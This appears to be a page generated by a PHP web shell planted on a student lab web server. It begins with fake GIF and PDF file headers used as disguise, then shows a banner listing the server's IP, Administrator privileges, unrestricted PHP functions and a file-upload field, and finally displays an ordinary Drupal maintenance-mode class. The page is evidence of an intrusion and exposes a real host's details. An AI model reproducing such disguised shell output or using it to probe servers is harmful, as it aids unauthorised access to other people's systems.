GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Site/ |
Upload File : |
<?php namespace Drupal\Core\Site; use Drupal\Core\Routing\RouteMatchInterface; use Drupal\Core\Session\AccountInterface; use Drupal\Core\State\StateInterface; /** * Provides the default implementation of the maintenance mode service. */ class MaintenanceMode implements MaintenanceModeInterface { /** * The state. * * @var \Drupal\Core\State\StateInterface */ protected $state; /** * Constructs a new maintenance mode service. * * @param \Drupal\Core\State\StateInterface $state * The state. */ public function __construct(StateInterface $state) { $this->state = $state; } /** * {@inheritdoc} */ public function applies(RouteMatchInterface $route_match) { if (!$this->state->get('system.maintenance_mode')) { return FALSE; } if ($route = $route_match->getRouteObject()) { if ($route->getOption('_maintenance_access')) { return FALSE; } } return TRUE; } /** * {@inheritdoc} */ public function exempt(AccountInterface $account) { return $account->hasPermission('access site in maintenance mode'); } }